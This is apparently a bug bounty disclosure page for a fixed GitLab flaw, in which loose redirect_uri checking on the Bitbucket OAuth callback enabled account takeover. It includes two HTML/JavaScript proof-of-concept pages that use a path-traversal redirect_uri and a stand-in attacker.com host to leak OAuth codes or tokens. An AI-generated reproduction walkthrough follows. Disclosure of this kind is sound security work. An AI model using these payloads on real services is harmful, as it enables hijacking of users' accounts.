Possible account takeover of accounts created using Bitbucket due to misconfigurations in oauth callback
The OAuth callback endpoint on GitLab did not strictly validate the redirect_uri, allowing an attacker to manipulate it to redirect OAuth codes or tokens to a site they control. An attacker could then use the stolen code or token to log in to the victim's GitLab account, leading to account takeover.
GitLab
Originally disclosed on GitLab
- Fixed in 3 months
- Disclosed after 3 months
HackerOne report #1120693 by sam0 on 2021-03-08, assigned to GitLab Team:
Report | How To Reproduce
Report
NOTE! Thanks for submitting a report! Please replace all the (parenthesized) sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!
Summary
The callback endpoints selected in Bitbucket applications are not strict which allows an attacker to manipulate the callbacks to redirect the oauth codes/tokens to a website he controls. Once he gets the code he can login to the victim's Gitlab account. This won't require user interaction since the user would already authorized the Gitlab application in Bitbucket since he uses them to login. For this attack to work, the user should be logged-in to Bitbucket ( or additionally logged-in to Gitlab , it doesn't affect the attack).
In the below pocs, i only redirected to https://gitlab.com/testing with a code or token from Bitbucket that can be used to login, i'll follow up with an open redirect to leak the codes externally. This won't be hard since we control path and parameters ( Only reported this with missing details due to the severity and potential exploitation by malicious actors )
Steps to reproduce
Victim should sign up using Bitbucket and logged-in when he visits the attacker page:
Bug:
Generating token and redirecting to /testing?redirect_uri=https://attacker.com
<html>
<body>
<script>
window.location.href = "https://bitbucket.org/site/oauth2/authorize?client_id=b9jLmh8WCLZPBAwWba&redirect_uri=https://gitlab.com/users/auth/%2e%0d%2e/%2e%0d%2e/testing?redirect_uri=https://attacker.com&response_type=token";
</script>
</body>
</html>
Generating token and redirecting to /testing?redirect_uri=https://attacker.com
<html> <body> <script> window.location.href = "https://bitbucket.org/site/oauth2/authorize?client_id=b9jLmh8WCLZPBAwWba&redirect_uri=https://gitlab.com/users/auth/%2e%0d%2e/%2e%0d%2e/testing?redirect_to=https://attacker.com&response_type=code"; </script> </body> </html> ##### ImpactThis would result of Gitlab users who signed-up using Bitbucket to be vulnerable to account takeover.
Impact
This would result of Gitlab users who signed-up using Bitbucket to be vulnerable to account takeover. An attacker accessing the gitlab account would danger the user's company, codes etc...
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
This could result in GitLab users who signed up using Bitbucket being vulnerable to account takeover, potentially endangering the user's company and code.
What the attacker needed
Victim signed up using Bitbucket; Victim is logged in to Bitbucket; Victim visits attacker's page
How it was found
- Victim signs up using Bitbucket and is logged in.
- Attacker crafts a URL to Bitbucket's OAuth authorize endpoint with a manipulated redirect_uri that points to GitLab's callback but includes a path traversal and an attacker-controlled redirect_uri parameter.
- Victim visits the attacker's page, which redirects to the crafted Bitbucket URL.
- Bitbucket redirects to GitLab's callback with the OAuth code or token.
- GitLab's callback may redirect to the attacker's site with the code or token, though this was not yet demonstrated.
- Attacker captures the code or token and uses it to log in to the victim's GitLab account.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you log in to a website using another service like Bitbucket, the service sends a secret code back to the website. If the website does not check carefully where that code is sent, an attacker can trick it into sending the code to the attacker's own site. The attacker can then use that code to log in as you.
What is OAuth / SSO?
Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.